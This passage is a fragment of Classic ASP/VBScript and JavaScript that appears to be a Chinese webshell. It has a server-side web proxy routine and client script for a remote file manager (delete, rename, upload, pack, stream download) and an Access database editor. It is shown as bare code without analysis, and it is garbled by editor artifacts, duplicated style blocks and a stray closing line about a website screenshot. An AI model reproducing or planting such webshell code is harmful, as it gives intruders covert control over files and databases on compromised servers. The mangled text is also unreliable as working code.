"/?PageName=PageWebProxy&url=" & Url & "(#|javascript:)" Html = re.Replace(Html, "$1") re.Pattern = "multipart//form-data" Html = re.Replace(Html, "") re.Pattern = ">/?PageName=PageWebProxy&url=((http|https|javascript):[A-Za-z0-9/./=/?%/-&_~`@[/]/':+!]+([^<>""])+)<" Html = re.Replace(Html, ">$1<") Response.Write(Html) End Sub Function getHTTPPage(url) Dim Http, theStr, fileExt Set Http = Server.CreateObject("MSXML2.XMLHTTP") If Request.Form.Count > 0 Then For Each x In Request.Form theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&" Next Http.Open "POST", url, False Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" Http.Send(theStr) Else Http.Open "GET", url, False Http.Send() End If If Http.readystate<>4 then Exit Function fileExt = LCase(Mid(url, InStrRev(url, ".") + 1)) If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then Response.Clear Response.BinaryWrite Http.responseBody Response.End() Else If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1) Response.BinaryWrite Http.responseBody Response.Flush Else getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312") End If End If Set Http = Nothing End Function Function BytesToBstr(body,Cset) Dim objstream Set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close Set objstream = nothing End Function Sub PageOther() %> <mce:style id=theStyle><!-- BODY { FONT-SIZE: 9pt; COLOR: #000000; background-color: #ffffff; FONT-FAMILY: "Courier New"; scrollbar-face-color:#E4E4F3; scrollbar-highlight-color:#FFFFFF; scrollbar-3dlight-color:#E4E4F3; scrollbar-darkshadow-color:#9C9CD3; scrollbar-shadow-color:#E4E4F3; scrollbar-arrow-color:#4444B3; scrollbar-track-color:#EFEFEF; } TABLE { FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse; border-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-color: #d8d8f0; } .tr { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; text-align: center; } .td { height: 24px; font-size: 9pt; background-color: #f9f9fd; font-family: "Courier New"; } input { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px; color: #000000; } textarea { font-family: "Courier New"; BORDER-WIDTH: 1px; FONT-SIZE: 12px; color: #000000; } A:visited { FONT-SIZE: 9pt; COLOR: #333333; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } A:active { FONT-SIZE: 9pt; COLOR: #3366cc; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } A:link { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } A:hover { FONT-SIZE: 9pt; COLOR: #3366cc; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } tr { font-family: "Courier New"; font-size: 9pt; line-height: 18px; } td { font-size: 9pt; font-family: "Courier New"; border-width: 1px; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-color: #d8d8f0; } .trHead { font-family: "Courier New"; height: 2px; background-color: #e4e4f3; line-height: 2px; } .fixSpan { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; vertical-align: baseline; } .fixTable { word-break: break-all; word-wrap: break-word; } #fileList span{ width: 120px; line-height: 23px; cursor: hand; overflow: hidden; padding-left: 5px; white-space: nowrap; text-overflow: ellipsis; vertical-align: baseline; border: 1px solid #ffffff; } --></mce:style><style id=theStyle mce_bogus="1">BODY { FONT-SIZE: 9pt; COLOR: #000000; background-color: #ffffff; FONT-FAMILY: "Courier New"; scrollbar-face-color:#E4E4F3; scrollbar-highlight-color:#FFFFFF; scrollbar-3dlight-color:#E4E4F3; scrollbar-darkshadow-color:#9C9CD3; scrollbar-shadow-color:#E4E4F3; scrollbar-arrow-color:#4444B3; scrollbar-track-color:#EFEFEF; } TABLE { FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse; border-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-color: #d8d8f0; } .tr { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; text-align: center; } .td { height: 24px; font-size: 9pt; background-color: #f9f9fd; font-family: "Courier New"; } input { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px; color: #000000; } textarea { font-family: "Courier New"; BORDER-WIDTH: 1px; FONT-SIZE: 12px; color: #000000; } A:visited { FONT-SIZE: 9pt; COLOR: #333333; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } A:active { FONT-SIZE: 9pt; COLOR: #3366cc; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } A:link { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } A:hover { FONT-SIZE: 9pt; COLOR: #3366cc; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none; } tr { font-family: "Courier New"; font-size: 9pt; line-height: 18px; } td { font-size: 9pt; font-family: "Courier New"; border-width: 1px; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-color: #d8d8f0; } .trHead { font-family: "Courier New"; height: 2px; background-color: #e4e4f3; line-height: 2px; } .fixSpan { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; vertical-align: baseline; } .fixTable { word-break: break-all; word-wrap: break-word; } #fileList span{ width: 120px; line-height: 23px; cursor: hand; overflow: hidden; padding-left: 5px; white-space: nowrap; text-overflow: ellipsis; vertical-align: baseline; border: 1px solid #ffffff; }</style> <mce:script language=javascript><!-- function locate(str){ var frm = document.forms[1]; frm.theAct.value = str; frm.TheObj.value = ''; frm.submit(); } function checkAllBox(obj){ var frm = document.forms[1]; for(var i = 0; i < frm.elements.length; i++) if(frm.elements[i].id != 'checkAll' && frm.elements[i].type == 'checkbox') frm.elements[i].checked = obj.checked; } function changeThePath(str){ var frm = document.forms[1]; frm.theAct.value = ''; frm.thePath.value = str; frm.submit(); } function Command(cmd, str){ var j = 0; var strTmpB; var strTmp = str; var frm = document.forms[1]; strTmpB = frm.PageName.value; if(cmd == 'pack' || cmd == 'del'){ for(var i = 0; i < frm.elements.length; i++) if(frm.elements[i].name != 'checkAll' && frm.elements[i].type == 'checkbox' && frm.elements[i].checked) j ++; if(j == 0)return; } if(cmd == 'rename' || cmd == 'saveas'){ frm.theAct.value = cmd; frm.param.value = str + ','; str = prompt('请输入新名称', strTmp); if(str && (strTmp != str)){ frm.param.value += str; }else return; } if(cmd == 'download'){ frm.theAct.value = 'download'; frm.param.value = str; if(!confirm('如果该文件超过20M,/n建议不要通过流方式下载/n这样会占用服务器大量的资源/n并可能导致服务器死机!/n您可以先更改文件的后缀名为sys,/n然后通过http协议直接下载./n按/"确定/"用流来进行下载.')) return; } if(cmd == 'submit'){ frm.theAct.value = ''; } if(cmd == 'del'){ if(confirm('您确认要删除选中的 ' + j + ' 个文件(夹)吗?')){ frm.theAct.value = 'del'; }else return; } if(cmd == 'newone') if(strTmp = prompt('请输入要新建的文件(夹)名', '')){ frm.theAct.value = 'newone'; frm.param.value = strTmp + ',' + str; }else return; if(cmd == 'move' || cmd == 'copy'){ frm.theAct.value = cmd; } if(cmd == 'showedit' || cmd == 'showimage'){ frm.theAct.value = cmd; frm.param.value = str; frm.target = '_blank'; } if(cmd == 'Query'){ if(str == '0'){ str = 1; }else{ frm.reset(); } frm.theAct.value = cmd; frm.param.value = str; } if(cmd == 'access'){ frm.theAct.value = 'ShowTables'; strTmp = frm.PageName.value; frm.PageName.value = 'PageDBTool'; frm.thePath.value = frm.truePath.value + '//' + str; frm.target = '_blank'; } if(cmd == 'upload'){ frm.PageName.value = 'PageUpload'; frm.thePath.value = frm.truePath.value; frm.target = '_blank'; } if(cmd == 'pack'){ if(confirm('您确认要打包选中的 ' + j + ' 个项目吗?')){ frm.PageName.value = 'PagePack'; frm.theAct.value = 'PackOne'; frm.target = '_blank'; }else return; } frm.submit(); frm.target = ''; frm.PageName.value = strTmpB; frm.reset(); } function showSqlEdit(column, str){ var frm = document.forms[1]; if(!str)return; frm.reset(); frm.theAct.value = 'edit'; frm.param.value = column + '!' + str; frm.target = '_blank'; frm.submit(); frm.target = ''; } function sqlDelete(column, str){ var frm = document.forms[1]; if(!str)return; if(!confirm('确认要删除这条记录?'))return; frm.reset(); frm.theAct.value = 'del'; frm.param.value = column + '!' + str; frm.target = '_blank'; frm.submit(); frm.target = ''; } function preView(n){ var url, win; if(n != '1'){ url = document.forms[1].truePath.value window.open('/' + escape(url)); }else{ win = window.open("about:blank", "", "resizable=yes,scrollbars=yes"); win.document.write('<mce:style><!-- body{border:none;} --></mce:style><style mce_bogus="1">body{border:none;}</style>' + document.forms[1].fileContent.innerText); } } // --></mce:script> <% End Sub %> --> 我的网站截图www.china-faxiu.com